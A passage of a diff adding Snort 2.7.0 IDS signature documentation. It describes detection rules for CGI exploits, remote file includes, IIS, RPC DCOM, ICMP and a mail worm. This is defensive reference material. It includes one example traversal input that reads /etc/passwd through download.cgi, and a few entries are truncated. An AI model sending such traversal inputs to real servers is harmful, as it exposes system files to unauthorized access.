+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2201.txt
+++ snort-2.7.0/doc/signatures/2201.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+2201
+
+--
+Summary:
+This event is generated when an attempt is made to access download.cgi on an internal web server. This may indicate an attempt to exploit a directory traversal vulnerability in Matthew Wright's download.cgi 1.0.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+Matt Wright's Script Archive provides a File Download script which allows users to keep track of the number of file downloads for specific files. It contains a directory traversal vulnerability where an attacker can use directory traversal techniques ("../..," for instance) within the "f" parameter, and pass these values to download.cgi to view hidden files on the server.
+
+--
+Affected Systems:
+Any web server using download.cgi version 1.0 to track file downloads.
+
+--
+Attack Scenarios:
+An attacker crafts a download.cgi URL where f=../../../../../../etc/passwd and transmits it to a vulnerable server. If the parameter matches the location of the target server's password file, the attacker can view and download the file. The attacker can use this method to view any arbitrary file, and to browse the server to discover information that may be helpful in a future attack.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses download.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable download.cgi.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/859.txt
+++ snort-2.7.0/doc/signatures/859.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+859
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1031.txt
+++ snort-2.7.0/doc/signatures/1031.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1031
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000627.txt
+++ snort-2.7.0/doc/signatures/100000627.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000627
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "message_send.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"message_send.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/587.txt
+++ snort-2.7.0/doc/signatures/587.txt
@@ -0,0 +1,60 @@
+Rule:
+
+Sid:
+587
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) statd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port statd is using.  Attackers can also learn what versions of the statd protocol are accepted by statd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as statd run.  The statd RPC service manages Network File System (NFS) locks for exclusive access to a remote file. Multiple vulnerabilities that have allowed execution of arbitrary commands as root have been associated with statd.
+
+--
+Affected Systems:
+Multiple; refer to your vendor for specific information.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where statd runs.  This may be a precursor to accessing statd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access statd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for statd, not probes of the statd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the statd service itself. An attacker may attempt to go directly to the statd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids 
+http://www.whitehats.com/info/IDS15
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2091.txt
+++ snort-2.7.0/doc/signatures/2091.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2091
+
+--
+Summary:
+server is attempted.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+A vulnerability exists in a component used by the Microsoft Internet 
+Information Server 5.0 implementation of WebDAV. A specially crafted 
+overly long URI when processed by the server, triggers a buffer overflow
+in ntdll.dll which results in a system compromise of the targeted host.
+
+The exploit only affects versions of IIS 5.0 running on Microsoft 
+Windows 2000 prior to service pack 3. WebDAV is enabled by default on 
+that platform.
+
+vulnerabilities using the security scanner nessus.
+
+--
+Affected Systems:
+Microsoft Internet Information Server 5.0 WebDAV on Windows 2000 prior 
+to Service Pack 3.
+
+--
+Attack Scenarios:
+The attacker is using nessus.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patch or service pack.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=11412
+
+CERT:
+http://www.cert.org/advisories/CA-2003-09.html
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0109
+
+Bugtraq:
+http://www.securityfocus.com/bid/7116
+
+Microsoft Corporation:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms03-007.asp
+http://www.microsoft.com/security/security_bulletins/ms03-007.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/100000816.txt
+++ snort-2.7.0/doc/signatures/100000816.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000816
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PC_CookBook" application running on a webserver. Access to the file "pccookbook.php" using a remote file being passed as the "mosConfig_absolute_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "mosConfig_absolute_path" parameter in the "pccookbook.php" script used by the "PC_CookBook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PC_CookBook
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2081.txt
+++ snort-2.7.0/doc/signatures/2081.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2081
+
+--
+Summary:
+number for the rpc service xfsmd
+
+--
+Impact:
+Intelligence gathering
+
+--
+Detailed Information:
+This may be an attacker probing for vulnerable versions of rpc services.
+In this case, the rpc service xfsmd.
+
+It is possible for an attacker to supply a meta character followed by
+any commands or code of his choosing to the xfsmd daemon.
+
+Due to a programming error, the service does not correctly check for the
+characters and they are not stripped from the request.
+
+The xfsmd daemon is not installed by default on IRIX systems but it is 
+part of an optional package.
+
+--
+Affected Systems:
+	IRIX 6.2
+	IRIX 6.3
+	IRIX 6.4
+	IRIX 6.5.x
+
+--
+Attack Scenarios:
+Exploits are widely available.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Patches are NOT available for this issue.
+
+Disable and remove the xfsmd daemon.
+
+Uprade to the latest non affected version of the operating system
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5075
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0359
+
+SGI IRIX:
+ftp://patches.sgi.com/support/free/security/advisories/20020606-01-I
+
+--
--- snort-2.7.0.orig/doc/signatures/3167.txt
+++ snort-2.7.0/doc/signatures/3167.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3167
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2905.txt
+++ snort-2.7.0/doc/signatures/2905.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2905
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_snapshot_repschema
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/408.txt
+++ snort-2.7.0/doc/signatures/408.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+408
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Echo Reply in response to an ICMP Echo Request message.
+
+--
+
+Impact:
+Information-gathering.  An ICMP Echo Reply message is sent in response to an ICMP REcho Request message.  If the ICMP Echo Reply message reaches the requesting host it indicates that the replying host is alive.
+
+--
+
+Detailed Information:
+ICMP Type 0 Code 0 is the RFC defined messaging type for ICMP Echo Reply datagrams.  This type of message is used to determine if a host is active on the network.
+
+--
+
+Attack Scenarios:
+A remote attacker may use ICMP Echo Request datagrams to determine active hosts on the network in prelude of further attacks.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Use ingress filtering to prevent ICMP Type 0 Code 8 messages from entering the network.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000597.txt
+++ snort-2.7.0/doc/signatures/100000597.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000597
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_create.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "inv_create.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/726.txt
+++ snort-2.7.0/doc/signatures/726.txt
@@ -0,0 +1,91 @@
+Rule:
+
+--
+Sid:
+726
+
+
+--
+Summary:
+This event is generated when worm activity is detected. More specifcally
+this event indicates possible "My Romeo" propogation.
+
+--
+Impact:
+Serious. The victim host may be infected with a worm.
+
+--
+Detailed Information:
+This worm propogates via electronic mail and exploits a known
+vulnerability in the way that versions of Microsoft Outlook and Internet
+Explorer handle trusted HTML pages. The worm is launched via a compiled
+HTML file (.chm) which is used by Microsoft WIndows Help.
+
+The executable part of the worm is called from within the trusted
+compiled HTML file. The worm attempts to propagate using hard coded
+addresses of SMTP servers.
+
+This worm is also Known As: Romeo and Juliet, W32/Verona, TrojBlebla.A
+
+--
+Affected Systems:
+	Microsoft Windows 9x
+	Microsoft Windows 2000
+
+--
+Attack Scenarios:
+Symantec Anti-Virus center states that the worm arrives as an email
+message that has an HTML body and two attachments named Myjuliet.chm
+and Myromeo.exe. The subject of the email is selected at random from
+the following set:
+
+Romeo&Juliet
+hello world
+subject
+ble bla, bee
+I Love You ;)
+sorry...
+Hey you !
+Matrix has you...
+my picture
+from shake-beer
+
+--
+Ease of Attack:
+Simple. This is worm activity.
+
+--
+False Positives:
+Legitimate electronic mail containing the known subject lines used by
+MyRomeo may cause this rule to generate an event.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+Use Anti-Virus software to detect and delete virus laden email.
+
+This worm makes changes to the system registry, removal of the affected
+registry keys should be done using an appropriate virus removal tool or
+by an experienced Windows administrator.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+McAfee
+http://vil.nai.com/vil/content/v_98894.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blebla.worm.html
+
+--
--- snort-2.7.0.orig/doc/signatures/499.txt
+++ snort-2.7.0/doc/signatures/499.txt
@@ -0,0 +1,74 @@
+Rule:
+--
+
+Sid:
+499
+
+--
+
+Summary:
+This event is generated when a large ICMP packet is detected. Also known
+as the "Ping of Death".
+
+--
+Impact:
+Denial of Service (DoS) by system crash or bandwidth utilisation.
+
+--
+Detailed Information:
+Some implementations of the IP stack may result in a system crash 
+or may hang when a large ICMP packet is sent to them. Alternatively 
+a large number of these packets may result in link saturation, 
+especially where bandwidth is limited.
+
+This attack was prevalent a number of years ago when the TCP/IP stack of
+a number of operating systems could not handle large packet payloads.
+
+--
+Affected Systems:
+	Multiple older systems.
+
+--
+Attack Scenarios: 
+A malicious individual may send a series of large ICMP packets 
+to a host with the intention of either crashing or hanging the host, 
+or to saturate the available bandwidth.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A number of load balancing applications use 1500 byte ICMP packets to 
+determine the most efficent route to a host by measuring the latency 
+of multiple paths.
+
+HP-UX systems configured with PMTU discovery will send echo requests 
+in response to several types of network connections. PMTU Discovery 
+is enabled in HP-UX 10.30 and 11.0x by default.
+
+Windows 2000 uses large ICMP payloads to determine the speed of a link
+when utilizing a Windows domain controller.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ICMP Traffic - Seth Stein
+http://www.wfu.edu/~steinsj5/work/icmp.html
+
+--
--- snort-2.7.0.orig/doc/signatures/403.txt
+++ snort-2.7.0/doc/signatures/403.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+403
+
+--
+
+Summary:
+This event is generated when An ICMP Precedence Cutoff In Effect datagram is detected on the network.  
+
+--
+
+Impact:
+Routers will generate this message when a minimum precedence level has been configured for the network.  This could be an indication of improperly configured routing equipment or network host.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2425.txt
+++ snort-2.7.0/doc/signatures/2425.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2425
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISC INN Usenet/NNTP server.
+
+--
+Impact:
+Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A vulnerability exists in the network news transport protocol server
+from ISC. It may be possible for a remote attacker to exploit a buffer
+overflow condition in the software to execute code of the attackers
+choosing with the privileges of the user running the daemon.
+
+--
+Affected Systems:
+	ISC INN 2.4 .0
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur. Once successful the attacker may
+attempt to escalate privileges by using further local exploits.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3116.txt
+++ snort-2.7.0/doc/signatures/3116.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3116
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/893.txt
+++ snort-2.7.0/doc/signatures/893.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+893
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the CGI web application webdist.cgi running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited
+by the attacker.
+
+In particular this event is generated when an attempt is made to access
+"MachineInfo" using the CGI application webdist.cgi, distributed with
+IRIX operating systems using the package IRIX Mindshare OutBox.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	IRIX 5.x
+	IRIX 6.x
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-1997-12.html
+
+--
--- snort-2.7.0.orig/doc/signatures/3301.txt
+++ snort-2.7.0/doc/signatures/3301.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3301
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3261.txt
